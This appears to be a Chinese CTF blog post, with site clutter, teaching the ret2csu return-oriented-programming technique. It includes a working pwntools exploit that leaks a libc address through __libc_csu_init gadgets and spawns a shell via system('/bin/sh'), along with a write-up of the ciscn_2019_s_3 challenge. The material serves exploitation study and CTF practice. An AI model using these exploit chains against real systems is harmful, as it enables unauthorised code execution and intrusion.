ret2csu

ret2csu的利用 64位的动态连接文件一般有一段万能的gadget,里面可以控制rbx,rbp,r12,r13,r14,r15以及rdx,rsi,edi的值,并且还可以call我们指定的地址。可以看到上面两端汇编几乎囊括了传参的寄存器,而且还有call指令以及retn,我们可以利用这两段gadget来传参和调用,因为我们要先调用下面一段来传参,所以我们认为下面一段为gadget1,上面一段为gadget2。上面在调用了gadget1后又填充了a*8,因为寄存器是用sp指针来传参的,所以rsp要正确指向寄存器。 阅读详情

ret2csu

个人见解

  • csu实际上是基于libc的一种泄露函数基地址的做法,其原理还是基于rop链的构造。大多时候我们难以找到每个寄存器对应的gadgets,但是当我们遇到wirte函数泄露的时候却必须要控制三个寄存器(64位首先存入数据的rdi,rsi,rdx),这时候,我们就可以利用 x64 下的 __libc_csu_init 中的 gadgets

  • 这个函数是用来对libc进行初始化操作的,所以这个函数一般都会存在。而我们所利用的是函数的两块区域。

    img

可以看到我们需要的三个寄存器分别被r14,r13,r12所赋值,而我们的gadget2可以操控这三个寄存器的值。那么我们的思路就很清晰了。

先通过gadget2修改寄存器值,返回到gadget把我们需要的寄存器值赋值,然后call write打印基地址,最后执行到gadget2

retn到我们需要溢出的函数地址。

exp:

from LibcSearcher import *
from pwn import *
​
io = process('64')
elf = ELF('./64')
context.arch = 'amd64'
context.log_level = 'debug'
​
padding = 0x8 + 8
write_plt = elf.plt['write']
write_got = elf.got['write']
gadget1 = 0x4011D8
gadget2 = 0x4011F2
rdi_ret = 0x4011fb
dofunc = elf.sym['dofunc']
​
payload = flat([b'a'*padding,gadget2,0,1,1,write_got,8,write_got,gadget1])
payload += p64(0xdeadbeef)*7
payload += p64(dofunc)
​
io.sendlineafter("input:",payload)
​
real_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
​
libc = LibcSearcher('write',real_addr)
libc_base = real_addr - libc.dump('write')
sys_addr = libc.dump('system') + libc_base
binsh = libc.dump('str_bin_sh') + libc_base
ret = 0x401016
​
payload2 = flat([b'a'*padding,ret,rdi_ret,binsh,sys_addr])
io.sendlineafter("input:",payload2)
io.interactive()
​

注:32位一般不会出现scu,因为其传参无需寄存器来存储,直接在栈上操作即可

接下来我以buu的ciscn_2019_s_3为例题来融汇贯通一下

         Ciscn_s_3

题目概括:
此题涉及到了ret2sycall和寄存器修改(可以视为csu)

首先我们发现这是一个静态连接,所以不是普通的libc,需要我们自己去给buff里面写入/bin/sh\x00,并且找出buff的最低地址位置。这里需要使用gbd查看

aaaaaaaa的位置在0x7fffffffde60,而write能从地址0x7fffffffde60输出到地址0x7fffffffde80,这里边的内容,发现有疑似栈的数据0x00007fffffffdf78,所以有bin_sh_addr = 栈的基地址 - 0x118。那我们利用read向栈上写/bin/sh字符串,再用write进行泄露/bin/sh的地址。

也就是说,因为write打印的话,是先从栈的低地址打印,再打印高地址的内容,那么先打印0x20的数据,再打印0x8的数据就是栈的基地址,再减去0x118就获得 /bin/sh的地址

这样我们就成功写入了/bin/sh

同时我们在gatgets中发现rax被赋予了56的值,这是execve的启动标志。所以这题我们可以使用callsys来获取shell

接着我们在csu函数中发现了我们需要的两个寄存器rdx和rsi,他们分别被r13和r14赋值

所以我们用kali ROPgadgets刚好发现有这三个寄存器,

并且我们还要让rbp的值与rbx相同(为1)一举两得

并且r15对应的是edi是rdi的低四节,所以并不能通过r15导入bin_sh,需要额外写入

最后我们构造ROP链即可

最后还要注意的是,我们给r12赋值了bin_sh+0x8(0x50也可以·),这是因为

在执行0x400589的时候会跳转到r12+rbx*8指向的地址去,而rbx为0,所以我们可以修改r12的值从而继续跳转,同时也绕过了cmp指令,所以我们的rbp便不强求必须为1了。

ps:0x8是跳到了pop_rdi的位置,而0x50则是mov_rax,两者虽然执行的东西不同,但都是为了获取retn函数,从而实现继续跳转。

本题要求能够将之前的知识融会贯通,同时,我们也要求能够知道一些汇编语言意思

还有gbd调试的熟练度与观察能力

CTF|ropemporium ret2csu题型 CTF|ropemporium ret2csu题型 题目来源:https://ropemporium.com/challenge/ret2csu.html 这个题只能下载64位文件 IDA查看后发现gets存在栈溢出,题目条件是ret2win的第三个函数必须是“0xdeadcafebabebeef” ret2win函数里面有system x86 与 x64 的区别: x86 都是保存在栈上面的, 而 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中,如果还 阅读详情

相关推荐

高级栈溢出技术—ROP实战(ret2csu)

目录预备知识关于ROP本系列rop实战题目的背景ret2csu涉及知识点实验目的实验环境实验步骤一实验步骤二实验步骤三 预备知识 关于ROP ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。 ROP是一种攻击技术,其中攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前,立即间接地执行精心挑选的指令或机器指令组。 本系列rop实战题目的背景 来自ROPEmpori

ChuMeng1999的博客 1252

从o开始的pwn学习之ret2csu

ret2csu 前置知识 X64寄存器 我们知道,64位寄存器有RAX,RBX,RCX,RDX,RDI,RSI,RBP,RSP,R8,R9,R10,R11,R12,R13,R14,R15,而rdi,rsi,rdx,rcx,r8,r9便用来传递函数的前六个参数,如多于六个,便在放到栈里。 __libc_csu_init 一般的程序都会调用libc中的函数,而此函数便是来将libc初始化的,故此函数几乎是每一个程序所必备的。 gadget 我们在构造ROP链的时候,往往会用到能够给寄存器赋值的gadget,形如

jzc020121的博客 3821

Carla自动驾驶仿真一:快速安装与运行Carla

网上有不少的Windows版本的Carla的安装教程,这里简单记录下自己安装过程,写的也比较详细,基本不用看其他文章。

zataji的博客 2万+

PWN-ret2csu

在x64中,如果遇到函数调用需要传入3个参数,分别依赖【rdi,rsi,rdx】三个寄存器,但通过ROPgadget无法找到相关的寄存器利用链,这时,我们就要开始考虑通过调用__libc_csu_init函数来实现传递3个参数的效果,这种实现方式,称为 ret2csu

recover517的博客 752

【CAPL实用开发】--- 使用VN1640A测试Busoff快慢恢复

使用VN1640A测试Busoff快慢恢复,包含具体的CAPL代码实现。

LabVIEW、CAPL、python、车载以太网等学习分享,文章正在写 2096

SARscape的DInSAR全流程-以西安市隋大兴唐长安城遗址为例

通过DInSAR对西安市隋大兴唐长安城遗址开展的年度周期性监测,发现成因是地质内部构造断裂带活动所导致的地面产生物理空间上的形变,而地面的沉降与抬升是直接影响城市发展与文化遗产保护最为常见的缓变型不可逆地质灾害。西安市地处汾渭断陷盆地中部,受临潼-长安断裂带影响,导致区域内构造活动较为强烈。由于早年西安市地表水资源匮乏,从上世纪50年代末开始大量开采地下水资源以满足城市人口不断扩张的需求,从而导致地下承压含水层水位急速下降,形成多个局部沉降中心(八里村、西工大、电子城等)。

2301_77687129的博客 5815

ROP之ret2csu 【[HNCTF 2022 WEEK2] ret2csu

中级ROP之ret2csu,介绍了ret2csu的一般用法,以及个人小技巧

Chuang__的博客 1520

CST 2023安装避坑指南:从下载到破解的完整流程(附常见报错解决方案)

本文提供CST 2023三维全波电磁场仿真软件的完整安装指南,涵盖从下载到破解的全流程,并附常见报错解决方案。详细解析安装步骤、许可证配置优化及高频问题诊断,帮助用户快速部署并优化软件性能,适用于射频电路设计、天线优化等场景。

7z8x2c4v6b9的博客 657

mprotect+ret2csu

寒假学习计划第一轮,通过四道典型题回顾复习。

2301_79880074的博客 2209

传输线末端短路、开路、加电感的反射系数

时,频率变化约300MHz, 出现这种偏差是因为我们的计算中将电磁波传播速率默认为。时,频率变化约300MHz, 出现这种偏差是因为我们的计算中将电磁波传播速率默认为。下图为用网络分析仪实测一长度为30cm的传输线末端加一0.6uH的线圈的反射系数。下图为用网络分析仪实测一末端短路的长度为30cm的传输线的反射系数。下图为用网络分析仪实测一末端开路的长度为30cm的传输线的反射系数。末端加电感相当于在传输线末端延长了一段后末端短路,使得相位下降速率。幅度为0dB, 相位由。幅度为0dB, 相位由。

johnboat的专栏 1873

基于NB-IoT的智慧路灯监控系统(NB-IoT专栏—实战篇1:项目简介)

基于NB-IoT技术的城市道路智慧路灯监控系统,在每个照明节点上安装一个集成了NB-IoT模组的单灯控制器,单灯控制器再经运营商的网络,与路灯控制平台实现双向通信,路灯控制平台直接对每个灯进行控制,包括开关灯控制、光照检测、自动调节明暗、电耗分析等操作。

不脱发的程序猿 5万+

ret2csu [HNCTF 2022 WEEK2]ret2csu

我有个问题;我第二次攻击本来是打算还用csu函数的,但是不知道为什么我一直打不通;!!!!下面的是我当时填的参数然后第二个问题;​。

2401_88640181的博客 988

【数据库系统工程师】5.4Internet基础知识

目录一、思维导图二、知识点1.Internet 概述2.Internet 地址(1)域名(2)IP 地址(3)NAT技术(4)IPv6简介3.Internet 服务(1)域名服务(2)远程登录服务(3)电子邮件服务(4)WWW服务(5)文件传输服务 一、思维导图 二、知识点 1.Internet 概述 2.Internet 地址 (1)域名 ○ 一个完整、通用的层次型主机域名由如下4部分组成: 计算机主机名.本地名.组名.最高层域名 (2)IP 地址 ○ 每个IP地址都由4个小于256的数字组成,数字之

邓邓子的博客 911

中级ROP之ret2csu

ret2csu 原理 在64位程序中,函数的前6个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的gadgets。这时候,我们可以利用x64下的__libc_csu_init中的gadgets,如例二情况。 这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定会存在。 下面是我在IDA摘出来的__libc_csu_init函数的汇编...

至臻求学,胸怀云月 8499

2026 年 AI 大模型资讯深度研究报告 / 2026 年 3 月 11 日

2026 年已成为 AI 大模型发展的关键拐点年。从 2023 年 ChatGPT 开启的技术奇点,历经多模态突破、推理能力崛起,至 2025 年形成产业爆发态势,AI 大模型正从"技术验证期"迈向"产业落地期"。核心发现技术突破: OpenAI 于 2026 年 3 月 6 日发布 GPT-5.4,首次实现原生计算机操控能力,在 OSWorld 桌面操控测试中以 75% 成功率超越人类 (72.4%),标志着 AI 从"对话工具"向"自主数字员工"的时代跃迁市场格局。

AI天才研究院 786

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

ret2csu ROP Emporium

14 ret2csu 参考网址 [原创]ret2csu学习-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com ROP Emporium - Ret2csu (x64) - blog.r0kithax.com ROP Emporium ret2csu_白兰王的博客-优快云博客 ROP-Ret2csu详解 | 偏有宸机 中级ROP之ret2csu_西杭的博客-优快云博客 WP 现在的ROP Emporium一共有8题,后几道题相比过去的题有了一些变化,国内的新wp也是非常

devil8123665的博客 854

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

栈溢出0x08 ret2csu(X64下绕过ASLR)

x86的参数都是保存在栈上面的, 而。

砖家 987

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

静态编译:Mprotect、自动化rop链;Ret2csu

开启NX,64位,IDA分析:看左半边不难看出这是一道静态编译题(简单解释,左边函数很多,静态编译占内存一般比动态多的多右半边可以看到,只有一个gets函数可以利用(存在栈溢出由于这题是静态编译题,因此我们可以有多种写法,这里我们分别使用Mprotect与自动化rop链解题。

2301_79880752的博客 1644

ROP_Emporium_ret2csu

文章目录1. ret2csu信息收集反汇编关于ret2csu利用Rop chainExp3. 参考文章 1. ret2csu 信息收集 题目只有64位版本,提供了以下文件: encrypted_flag.dat key.dat libret2csu.so ret2csu 作者提示,这个题和callme类似,调用ret2win()并提供指定的参数即可,但缺少明显的可利用的gadget。 $ file ret2csu ret2csu: ELF 64-bit LSB executable, x86-64,

Starr 546

好好说话之ret2csu

一、x64寄存器 在64位程序中,函数的前6各参数是通过寄存器传递的,可以看到rdi作为第一个参数,rsi作为第二个参数,rdx作为第三个参数,rcx作为第四个参数,r8作为第五个参数,r9作为第六个参数。也就是说在函数调用参数的时候会依次在六个寄存器中寻找,如果参数多余6个,那么就需要在栈中寻找。 63 31 ...

hollk’s blog 6814

从ctfwiki开始的pwn之旅 5.ret2csu

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。此外,由于 PC 本身只是将程序的执行地址处的数据传递给 CPU,而 CPU 则只是对传递来的数据进行解码,只要解码成功,就会进行执行。我们可以看到我们的 gadgets 是分为两部分的,那么我们其实可以进行两次调用来达到的目的,以便于减少一次 gadgets 所需要的字节数。可以看到在我们之前的利用中,我们利用这两个寄存器的值的主要是为了满足 cmp 的条件,并进行跳转。

2301_80361487的博客 624
上一篇: Canary章节学习
下一篇: 格式化字符串修改将非栈上地址修改
T_Fire_of_Square
博客等级 码龄3年 110粉丝 29原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值